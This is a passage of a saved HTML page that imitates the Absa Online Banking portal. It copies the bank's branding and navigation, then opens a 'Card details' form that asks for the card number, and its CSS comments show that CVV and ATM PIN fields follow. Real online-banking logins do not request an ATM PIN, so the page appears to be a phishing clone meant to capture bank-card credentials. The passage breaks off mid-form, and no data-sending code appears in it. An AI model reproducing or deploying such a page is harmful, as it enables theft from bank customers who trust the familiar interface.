            font-size: 12px;
            margin-top: 4px;
            display: block;
            font-weight: 400;
        }

        .form-control.error {
            border-color: #d32f2f !important;
            box-shadow: 0 0 0 2px rgba(211, 47, 47, 0.2) !important;
        }

        /* CVV and ATM PIN fields in row layout */
        #cvv, #atmPin {
            width: 100% !important;
        }
       =

      </style>
  </head>
  <body __processed_a94de4bb-6cea-43a3-845a-c4de722d5a27__=3D"true" bis_reg=
ister=3D"W3sibWFzdGVyIjp0cnVlLCJleHRlbnNpb25JZCI6ImVwcGlvY2VtaG1ubGJoanBsY2=
drb2ZjaWllZ29tY29uIiwiYWRibG9ja2VyU3RhdHVzIjp7IkRJU1BMQVkiOiJkaXNhYmxlZCIsI=
kZBQ0VCT09LIjoiZGlzYWJsZWQiLCJUV0lUVEVSIjoiZGlzYWJsZWQiLCJSRURESVQiOiJkaXNh=
YmxlZCIsIlBJTlRFUkVTVCI6ImRpc2FibGVkIiwiSU5TVEFHUkFNIjoiZGlzYWJsZWQiLCJUSUt=
UT0siOiJkaXNhYmxlZCIsIkxJTktFRElOIjoiZGlzYWJsZWQiLCJDT05GSUciOiJkaXNhYmxlZC=
J9LCJ2ZXJzaW9uIjoiMi4wLjI2Iiwic2NvcmUiOjIwMDI2fV0=3D" style=3D"">
    <app-root _nghost-ng-c3503210449=3D"" ng-version=3D"18.2.5">
      <div _ngcontent-ng-c3503210449=3D"" fxlayout=3D"column" fxlayoutalign=
=3D"space-around stretch" style=3D"flex-direction: column; box-sizing: bord=
er-box; display: flex; place-content: stretch space-around; align-items: st=
retch; max-width: 100%;" bis_skin_checked=3D"1">
        <router-outlet _ngcontent-ng-c3503210449=3D""></router-outlet>
        <app-cll-application _nghost-ng-c1950413150=3D"" class=3D"ng-star-i=
nserted">
          <div _ngcontent-ng-c1950413150=3D"" class=3D"scroll-to-top" bis_s=
kin_checked=3D"1"></div>
          <!---->
          <div _ngcontent-ng-c1950413150=3D"" bis_skin_checked=3D"1">
            <div _ngcontent-ng-c1950413150=3D"" fxlayout=3D"column" fxlayou=
talign=3D"none" class=3D"application" style=3D"flex-direction: column; box-=
sizing: border-box; display: flex; place-content: stretch flex-start; align=
-items: stretch;" bis_skin_checked=3D"1">
              <top-nav _ngcontent-ng-c1950413150=3D"" _nghost-ng-c146836683=
3=3D"" class=3D"ng-star-inserted">
                <nav _ngcontent-ng-c1468366833=3D"" ngclass.gt-sm=3D"top-na=
v-gt-sm" class=3D"top-nav top-nav-gt-sm">
                  <img _ngcontent-ng-c1468366833=3D"" src=3D"https://ib.abs=
a.co.za/xdas/clr/assets/images/logo-secondary.svg" alt=3D"logo" class=3D"to=
p-nav__logo-img">
                  <a _ngcontent-ng-c1468366833=3D"" fxhide.gt-sm=3D"" href=
=3D"#" class=3D"menu-trigger hamburger-slice ng-star-inserted" style=3D"dis=
play: none;">
                    <div _ngcontent-ng-c1468366833=3D"" class=3D"menu-trigg=
er__icon hamburger-slice icon-menu" bis_skin_checked=3D"1"></div>
                  </a>
                  <!---->
                  <div _ngcontent-ng-c1468366833=3D"" fxhide=3D"" fxshow.gt=
-md=3D"" fxlayoutalign=3D"center center" class=3D"title-container ng-star-i=
nserted" style=3D"place-content: center; align-items: center; flex-directio=
n: row; box-sizing: border-box; display: flex;" bis_skin_checked=3D"1">
                    <p _ngcontent-ng-c1468366833=3D"" class=3D"title-brand"=
>Absa Online Banking</p>
                  </div>
                  <!---->
                 =

                  <div _ngcontent-ng-c1468366833=3D"" fxhide=3D"" fxshow.gt=
-xs=3D"" class=3D"menu-secondary" bis_skin_checked=3D"1">
                    <a _ngcontent-ng-c1468366833=3D"" role=3D"link" target=
=3D"_blank" data-id=3D"link_content_absa online banking" tabindex=3D"0" cla=
ss=3D"nav-button ng-star-inserted" data-text=3D"help link click">
                      <span _ngcontent-ng-c1468366833=3D"" class=3D" nav-bu=
tton__icon"></span>
                      <span _ngcontent-ng-c1468366833=3D"" class=3D"nav-but=
ton__label Banking Online help label-Get with">Get help with Online Banking=
</span>
                    </a>
                    <a _ngcontent-ng-c1468366833=3D"" role=3D"link" target=
=3D"_blank" data-id=3D"link_content_absa online banking" tabindex=3D"0" cla=
ss=3D"nav-button ng-star-inserted" data-text=3D"contact link click">
                      <span _ngcontent-ng-c1468366833=3D"" class=3D" nav-bu=
tton__icon"></span>
                      <span _ngcontent-ng-c1468366833=3D"" class=3D"nav-but=
ton__label label-Contact us">Contact us</span>
                    </a>
                    <a _ngcontent-ng-c1468366833=3D"" role=3D"link" target=
=3D"_blank" data-id=3D"link_content_absa online banking" tabindex=3D"0" cla=
ss=3D"nav-button ng-star-inserted" data-text=3D"NAV">
                      <span _ngcontent-ng-c1468366833=3D"" class=3D""></spa=
n>
                      <span _ngcontent-ng-c1468366833=3D"" class=3D"nav-but=
ton__label label-Afrikaans">Afrikaans</span>
                    </a>
                    <!---->
                  </div>
                  <div _ngcontent-ng-c1468366833=3D"" fxhide.gt-xs=3D"" cla=
ss=3D"menu-secondary" style=3D"display: none;" bis_skin_checked=3D"1">
                    <!---->
                  </div>
                </nav>
                <!---->
                <div _ngcontent-ng-c1468366833=3D"" bis_skin_checked=3D"1">=
</div>
              </top-nav>
              <!---->
              <div _ngcontent-ng-c1950413150=3D"" ngclass=3D"application__s=
ide-bar--collapsed" ngclass.gt-sm=3D"application__side-bar-gt-sm" ngclass.g=
t-md=3D"" class=3D"application__side-bar" bis_skin_checked=3D"1">
                <side-nav _ngcontent-ng-c1950413150=3D"" _nghost-ng-c350398=
0013=3D"" class=3D"ng-tns-c3503980013-0 ng-star-inserted">
                  <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns-c3503=
980013-0" bis_skin_checked=3D"1"></div>
                  <nav _ngcontent-ng-c3503980013=3D"" fxhide.gt-sm=3D"" cla=
ss=3D"side-nav ng-tns-c3503980013-0 ng-trigger ng-trigger-openClose" style=
=3D"display: none; transform: translateX(-125%);">
                    <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav-i=
nner ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav=
-body ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"side-n=
av-top ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                          <a _ngcontent-ng-c3503980013=3D"" skiplocationcha=
nge=3D"true" class=3D"side-nav-logo ng-tns-c3503980013-0" href=3D"#">
                            <img _ngcontent-ng-c3503980013=3D"" src=3D"http=
s://ib.absa.co.za/xdas/clr/assets/images/logo-brand-red.svg" alt=3D"logo" c=
lass=3D"top-nav__logo-img ng-tns-c3503980013-0">
                          </a>
                          <a _ngcontent-ng-c3503980013=3D"" class=3D"side-n=
av-close ng-tns-c3503980013-0">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"si=
de-nav-close-icon ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0">&nbsp;</span>
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0">&nbsp;</span>
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0">&nbsp;</span>
                            </div>
                          </a>
                        </div>
                        <!---->
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <a _ngcontent-ng-c3503980013=3D"" href=3D"/xdas/c=
lr/login" routerlinkactive=3D"nav-item-active" role=3D"link" target=3D"_bla=
nk" skiplocationchange=3D"true" class=3D"nav-item ng-tns-c3503980013-0 ng-s=
tar-inserted nav-item-active" tabindex=3D"0" aria-label=3D"Login Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0  nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label ng-tns-c3503980013-0">Login</span>
                          </a>
                          <!---->
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <a _ngcontent-ng-c3503980013=3D"" href=3D"/xdas/c=
lr/register" routerlinkactive=3D"nav-item-active" role=3D"link" target=3D"_=
blank" skiplocationchange=3D"true" class=3D"nav-item ng-tns-c3503980013-0 n=
g-star-inserted" tabindex=3D"0" aria-label=3D"Register Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label ng-tns-c3503980013-0">Register</span>
                          </a>
                          <!---->
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <!---->
                          <!---->
                          <div _ngcontent-ng-c3503980013=3D"" class=3D"side=
-nav-divider side-nav-divider-hamburger ng-tns-c3503980013-0 ng-star-insert=
ed" bis_skin_checked=3D"1"></div>
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item ng-tns-c3503980013-0 ng-star-inserted" t=
abindex=3D"0" href=3D"https://www.absa.co.za/aol-help/" aria-label=3D"Get h=
elp with Online Banking Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label ng-tns-c3503980013-0">Get help with Online Banking</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item ng-tns-c3503980013-0 ng-star-inserted" t=
abindex=3D"0" href=3D"https://www.absa.co.za/talk-to-us/" aria-label=3D"Con=
tact us Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label ng-tns-c3503980013-0">Contact us</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 last ng-star-inserted" style=3D"" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item ng-tns-c3503980013-0 ng-star-inserted" t=
abindex=3D"0" href=3D"" aria-label=3D"Afrikaans Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0  nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label ng-tns-c3503980013-0">Afrikaans</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <!---->
                      </div>
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav=
-footer ng-tns-c3503980013-0" bis_skin_checked=3D"1"></div>
                    </div>
                  </nav>
                  <nav _ngcontent-ng-c3503980013=3D"" fxhide=3D"" class=3D"=
side-nav side-nav-gt-sm ng-tns-c3503980013-0" style=3D"display: none;">
                    <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav-i=
nner ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav=
-body ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">
                          <a _ngcontent-ng-c3503980013=3D"" href=3D"/xdas/c=
lr/login" routerlinkactive=3D"nav-item-active" role=3D"link" target=3D"_bla=
nk" skiplocationchange=3D"true" class=3D"nav-item nav-item-flex-direction n=
g-tns-c3503980013-0 ng-star-inserted nav-item-active" tabindex=3D"0" aria-l=
abel=3D"Login Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 icon-login nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label nav-item-label-gt-sm ng-tns-c3503980013-0">Login</span>
                          </a>
                          <!---->
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">
                          <a _ngcontent-ng-c3503980013=3D"" href=3D"/xdas/c=
lr/register" routerlinkactive=3D"nav-item-active" role=3D"link" target=3D"_=
blank" skiplocationchange=3D"true" class=3D"nav-item nav-item-flex-directio=
n ng-tns-c3503980013-0 ng-star-inserted" tabindex=3D"0" aria-label=3D"Regis=
ter Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label nav-item-label-gt-sm ng-tns-c3503980013-0">Register</span>
                          </a>
                          <!---->
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">
                          <!---->
                          <!---->
                          <div _ngcontent-ng-c3503980013=3D"" class=3D"side=
-nav-divider ng-tns-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">=
</div>
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item nav-item-flex-direction ng-tns-c35039800=
13-0 ng-star-inserted" tabindex=3D"0" href=3D"https://www.absa.co.za/aol-he=
lp/" aria-label=3D"Get help with Online Banking Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label nav-item-label-gt-sm ng-tns-c3503980013-0">Get help with Onli=
ne Banking</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 ng-star-inserted" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item nav-item-flex-direction ng-tns-c35039800=
13-0 ng-star-inserted" tabindex=3D"0" href=3D"https://www.absa.co.za/talk-t=
o-us/" aria-label=3D"Contact us Page">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label nav-item-label-gt-sm ng-tns-c3503980013-0">Contact us</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <div _ngcontent-ng-c3503980013=3D"" class=3D"ng-tns=
-c3503980013-0 last ng-star-inserted" bis_skin_checked=3D"1">
                          <!---->
                          <a _ngcontent-ng-c3503980013=3D"" role=3D"link" t=
arget=3D"_blank" class=3D"nav-item nav-item-flex-direction ng-tns-c35039800=
13-0 ng-star-inserted" tabindex=3D"0" href=3D"" aria-label=3D"Afrikaans Pag=
e">
                            <div _ngcontent-ng-c3503980013=3D"" class=3D"na=
v-item-icon-container ng-tns-c3503980013-0" bis_skin_checked=3D"1">
                              <span _ngcontent-ng-c3503980013=3D"" class=3D=
"ng-tns-c3503980013-0 nav-item-icon"></span>
                            </div>
                            <span _ngcontent-ng-c3503980013=3D"" class=3D"n=
av-item-label nav-item-label-gt-sm ng-tns-c3503980013-0">Afrikaans</span>
                          </a>
                          <!---->
                          <!---->
                        </div>
                        <!---->
                      </div>
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"more-sli=
der top ng-tns-c3503980013-0" style=3D"display: none;" bis_skin_checked=3D"=
1">
                        <span _ngcontent-ng-c3503980013=3D"" class=3D"icon =
icon-arrow-back ng-tns-c3503980013-0"></span>
                        <span _ngcontent-ng-c3503980013=3D"" class=3D"more-=
text ng-tns-c3503980013-0">common.label.more</span>
                      </div>
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"more-sli=
der ng-tns-c3503980013-0" style=3D"display: none;" bis_skin_checked=3D"1">
                        <span _ngcontent-ng-c3503980013=3D"" class=3D"icon =
icon-arrow-forward ng-tns-c3503980013-0"></span>
                        <span _ngcontent-ng-c3503980013=3D"" class=3D"more-=
text ng-tns-c3503980013-0">common.label.more</span>
                      </div>
                      <div _ngcontent-ng-c3503980013=3D"" class=3D"side-nav=
-footer ng-tns-c3503980013-0" bis_skin_checked=3D"1"></div>
                    </div>
                  </nav>
                </side-nav>
                <!---->
              </div>
              <div _ngcontent-ng-c1950413150=3D"" fxlayout=3D"column" fxlay=
outalign=3D"space-around stretch" class=3D"application__body ng-star-insert=
ed" style=3D"flex-direction: column; box-sizing: border-box; display: flex;=
 place-content: stretch space-around; align-items: stretch; max-width: 100%=
;" bis_skin_checked=3D"1">
                <div _ngcontent-ng-c1950413150=3D"" class=3D"application__c=
ontent" bis_skin_checked=3D"1">
                  <router-outlet _ngcontent-ng-c1950413150=3D"" class=3D"ng=
-star-inserted"></router-outlet>
                  <app-view-logon _nghost-ng-c116526630=3D"" class=3D"ng-st=
ar-inserted">
                    <div _ngcontent-ng-c116526630=3D"" class=3D"transaction=
al-template" bis_skin_checked=3D"1">
                      <div _ngcontent-ng-c116526630=3D"" class=3D"container=
-fluid logon-container ng-star-inserted" bis_skin_checked=3D"1">
                        <div _ngcontent-ng-c116526630=3D"" ngclass.gt-md=3D=
"logon-form-container_gt-md" ngclass.gt-sm=3D"logon-form-container_gt-sm" n=
gclass.gt-xs=3D"logon-form-container_gt-xs" ngclass.lt-xs=3D"logon-form-con=
tainer_lt-xs" ngclass.lt-md=3D"logon-form-container_lt-md" class=3D"logon-f=
orm-container logon-form-container_gt-md" bis_skin_checked=3D"1">
                          <app-logon-stepmanager _ngcontent-ng-c116526630=
=3D"" _nghost-ng-c1269136133=3D"" class=3D"ng-star-inserted">
                            <div _ngcontent-ng-c1269136133=3D"" fxlayout=3D=
"row" fxlayoutalign=3D"space-between start" class=3D"main-container ng-star=
-inserted" style=3D"flex-direction: row; box-sizing: border-box; display: f=
lex; place-content: flex-start space-between; align-items: flex-start;" bis=
_skin_checked=3D"1">
                              <app-transaction-stepper _ngcontent-ng-c12691=
36133=3D"" _nghost-ng-c3338032553=3D"">
                                <div _ngcontent-ng-c3338032553=3D"" class=
=3D"stepper_container ng-star-inserted" bis_skin_checked=3D"1">
                                  <div _ngcontent-ng-c3338032553=3D"" class=
=3D"status- status_icon_inside_stepper" bis_skin_checked=3D"1">
                                    <svg _ngcontent-ng-c3338032553=3D"" vie=
wBox=3D"0 0 20 20" preserveAspectRatio=3D"xMidYMid meet">
                                      <circle _ngcontent-ng-c3338032553=3D"=
" cx=3D"10" cy=3D"10" r=3D"9" fill=3D"none" stroke-width=3D"2" stroke=3D"#e=
3e2e2"></circle>
                                      <circle _ngcontent-ng-c3338032553=3D"=
" cx=3D"10" cy=3D"10" r=3D"9" fill=3D"none" stroke-width=3D"2" stroke-linec=
ap=3D"butt" transform=3D"rotate( -90, 10, 10 )" stroke=3D"currentColor" str=
oke-dasharray=3D"18.849555921538755,100"></circle>
                                    </svg>
                                    <span _ngcontent-ng-c3338032553=3D"" cl=
ass=3D"status- stepper_icon"> <svg xmlns=3D"http://www.w3.org/2000/svg" xml=
ns:xlink=3D"http://www.w3.org/1999/xlink" version=3D"1.1" width=3D"24" heig=
ht=3D"24" viewBox=3D"0 0 256 256" xml:space=3D"preserve">
                                        <g style=3D"stroke: none; stroke-wi=
dth: 0; stroke-dasharray: none; stroke-linecap: butt; stroke-linejoin: mite=
r; stroke-miterlimit: 10; fill: none; fill-rule: nonzero; opacity: 1;" tran=
sform=3D"translate(1.4065934065934016 1.4065934065934016) scale(2.81 2.81)">
                                            <path d=3D"M 81.826 15.13 H 8.1=
73 C 3.667 15.13 0 18.796 0 23.303 v 6.432 v 12.53 v 24.431 c 0 4.507 3.667=
 8.174 8.173 8.174 h 73.653 c 4.507 0 8.174 -3.667 8.174 -8.174 V 42.265 v =
-12.53 v -6.432 C 90 18.796 86.333 15.13 81.826 15.13 z M 8.173 17.13 h 73.=
653 c 3.404 0 6.174 2.77 6.174 6.173 v 5.432 H 2 v -5.432 C 2 19.899 4.77 1=
7.13 8.173 17.13 z M 88 41.265 H 2 v -10.53 h 86 V 41.265 z M 81.826 72.87 =
H 8.173 C 4.77 72.87 2 70.101 2 66.696 V 43.265 h 86 v 23.431 C 88 70.101 8=
5.23 72.87 81.826 72.87 z" style=3D"stroke: none; stroke-width: 1; stroke-d=
asharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-miterl=
imit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=3D" =
matrix(1 0 0 1 0 0) " stroke-linecap=3D"round"/>
                                            <path d=3D"M 49.26 56.265 H 10.=
74 c -0.552 0 -1 0.447 -1 1 s 0.448 1 1 1 h 38.52 c 0.553 0 1 -0.447 1 -1 S=
 49.813 56.265 49.26 56.265 z" style=3D"stroke: none; stroke-width: 1; stro=
ke-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-mi=
terlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=
=3D" matrix(1 0 0 1 0 0) " stroke-linecap=3D"round"/>
                                            <path d=3D"M 79.26 56.265 h -8.=
52 c -0.553 0 -1 0.447 -1 1 s 0.447 1 1 1 h 8.52 c 0.553 0 1 -0.447 1 -1 S =
79.813 56.265 79.26 56.265 z" style=3D"stroke: none; stroke-width: 1; strok=
e-dasharray: none; stroke-linecap: butt; stroke-linejoin: miter; stroke-mit=
erlimit: 10; fill: rgb(0,0,0); fill-rule: nonzero; opacity: 1;" transform=
=3D" matrix(1 0 0 1 0 0) " stroke-linecap=3D"round"/>
                                        </g>
                                        </svg></span>
                                  </div>
                                  <!---->
                                  <div _ngcontent-ng-c3338032553=3D"" fxlay=
out=3D"row" fxlayoutalign=3D"space-between center" class=3D"ng-star-inserte=
d" bis_skin_checked=3D"1" style=3D"flex-direction: row; box-sizing: border-=
box; display: flex; place-content: center space-between; align-items: cente=
r;">
                                    <div _ngcontent-ng-c3338032553=3D"" fxl=
ayout=3D"column" fxlayoutalign=3D"start" class=3D"side-status-panel-header_=
_title" bis_skin_checked=3D"1" style=3D"flex-direction: column; box-sizing:=
 border-box; display: flex; place-content: stretch flex-start; align-items:=
 stretch;"> Card details </div>
                                  </div>
                                  <!---->
                                  <!---->
                                  <div _ngcontent-ng-c3338032553=3D"" fxlay=
out=3D"row wrap" fxlayoutalign=3D"start" style=3D"flex-flow: wrap; box-sizi=
ng: border-box; display: flex; place-content: stretch flex-start; align-ite=
ms: stretch;" bis_skin_checked=3D"1">
                                    <div _ngcontent-ng-c3338032553=3D"" fxl=
ayoutalign=3D"center center" class=3D"ng-star-inserted" style=3D"place-cont=
ent: center; align-items: center; flex-direction: row; box-sizing: border-b=
ox; display: flex;" bis_skin_checked=3D"1">
                                      <!---->
                                      <!---->
                                    </div>
                               =

                                    <!---->
                                  </div>
                                  <!---->
                                  <div _ngcontent-ng-c3338032553=3D"" fxlay=
out=3D"row" fxlayoutalign=3D"start" style=3D"flex-direction: row; box-sizin=
g: border-box; display: flex; place-content: stretch flex-start; align-item=
s: stretch;" bis_skin_checked=3D"1">
                                    <!---->
                                    <!---->
                                    <!---->
                                  </div>
                                  <!---->
                                </div>
                                <!---->
                                <!---->
                              </app-transaction-stepper>
                              <a _ngcontent-ng-c1269136133=3D"" fxshow.gt-m=
d=3D"" fxhide=3D"" class=3D"keypad-container" style=3D"">
                                <div _ngcontent-ng-c1269136133=3D"" fxlayou=
t=3D"row" tabindex=3D"0" fxlayoutgap=3D"8px" class=3D"keypad-content" style=
=3D"flex-direction: row; box-sizing: border-box; display: flex;" bis_skin_c=
hecked=3D"1">
                                  <div _ngcontent-ng-c1269136133=3D"" fxlay=
out=3D"row" fxlayoutalign=3D"end center" class=3D"keypad-button-label label=
 keypad-label" style=3D"margin-right: 8px; flex-direction: row; box-sizing:=
 border-box; display: flex; place-content: center flex-end; align-items: ce=
nter;" bis_skin_checked=3D"1">
                                    <div _ngcontent-ng-c1269136133=3D"" cla=
ss=3D"ng-star-inserted" bis_skin_checked=3D"1">Turn on virtual keypad</div>
                                    <!---->
                                    <!---->
                                  </div>
                                  <div _ngcontent-ng-c1269136133=3D"" bis_s=
kin_checked=3D"1">
                                    <img _ngcontent-ng-c1269136133=3D"" src=
=3D"https://ib.absa.co.za/xdas/clr/assets/images/login/keyboard.svg">
                                  </div>
                                </div>
                              </a>
                            </div>
                            <!---->
                            <!---->
                            <div _ngcontent-ng-c1269136133=3D"" class=3D"ng=
-star-inserted" bis_skin_checked=3D"1">
                              <app-setup-user-details _ngcontent-ng-c126913=
6133=3D"" _nghost-ng-c1317555434=3D"" class=3D"ng-star-inserted">
                                <div _ngcontent-ng-c1317555434=3D"" class=
=3D"ng-star-inserted" bis_skin_checked=3D"1">
                                  <cb-form _ngcontent-ng-c1317555434=3D"" a=
dobefrmcontainer=3D"login details form" _nghost-ng-c479261357=3D"" class=3D=
"ng-pristine ng-invalid ng-touched">
                                    <form _ngcontent-ng-c479261357=3D"" nov=
alidate=3D"" data-frmcontainer=3D"activate" class=3D"responsive-form">
                                      <!---->
                                      <!---->
                                      <!---->
                                      <div _ngcontent-ng-c1317555434=3D"" f=
xlayout=3D"column" class=3D"form-group secrecy-block" style=3D"flex-directi=
on: column; box-sizing: border-box; display: flex;" bis_skin_checked=3D"1">
                                        <div _ngcontent-ng-c1317555434=3D""=
 class=3D"secrecy-text" bis_skin_checked=3D"1"> Never share your card detai=
ls with anyone. </div>
                                      </div>
                                      =

                                      <!-- Card Number Field -->
                                      <div _ngcontent-ng-c1317555434=3D"" f=
xlayout=3D"column" style=3D"flex-direction: column; box-sizing: border-box;=
 display: flex;" bis_skin_checked=3D"1">
                                        <form-input _ngcontent-ng-c13175554=
34=3D"" _nghost-ng-c779836824=3D"">
                                          <div _ngcontent-ng-c779836824=3D"=
" class=3D"form-group ng-pristine ng-invalid ng-touched" bis_skin_checked=
=3D"1">
                                            <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" fxlayoutalign=3D"space-between center" fxlayoutalign=
.gt-xs=3D"none" style=3D"flex-direction: row; box-sizing: border-box; displ=
ay: flex; place-content: stretch flex-start; align-items: stretch;" bis_ski=
n_checked=3D"1">
                                              <div _ngcontent-ng-c779836824=
=3D"" fxlayout=3D"row" style=3D"flex-direction: row; box-sizing: border-box=
; display: flex;" bis_skin_checked=3D"1">
                                                <label _ngcontent-ng-c77983=
6824=3D"" id=3D"cardNumber_label" for=3D"cardNumber" class=3D"ng-star-inser=
ted">Card Number</label>
                                                <!---->
                                                <!---->
                                              </div>
                                              <!---->
                                            </div>
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"input-group ng-star-inserted" bis_skin_checked=3D"1">
                                              <input _ngcontent-ng-c7798368=
24=3D"" autocomplete=3D"cc-number" class=3D"form-control no-spin submit-cli=
cked ng-pristine ng-invalid ng-touched" id=3D"cardNumber" type=3D"text" nam=
e=3D"cardNumber" placeholder=3D"" tabindex=3D"0" aria-describedby=3D"err_ca=
rdNumber" aria-label=3D"" aria-invalid=3D"false" maxlength=3D"19">
                                              <!---->
                                              <!---->
                                              <!---->
                                              <!---->
                                            </div>
                                            <!---->
                                            <!---->
                                            <!---->
                                            <!---->
                                            <div _ngcontent-ng-c779836824=
=3D"" class=3D"helper-text-padding" bis_skin_checked=3D"1">
                                              <!---->
                                            </div>
                                            <!---->
                                          </div>
                                        </form-input>
                                      </div>

                                      <!-- CVV and ATM PIN Row -->
                                      <div _ngcontent-ng-c1317555434=3D"" f=
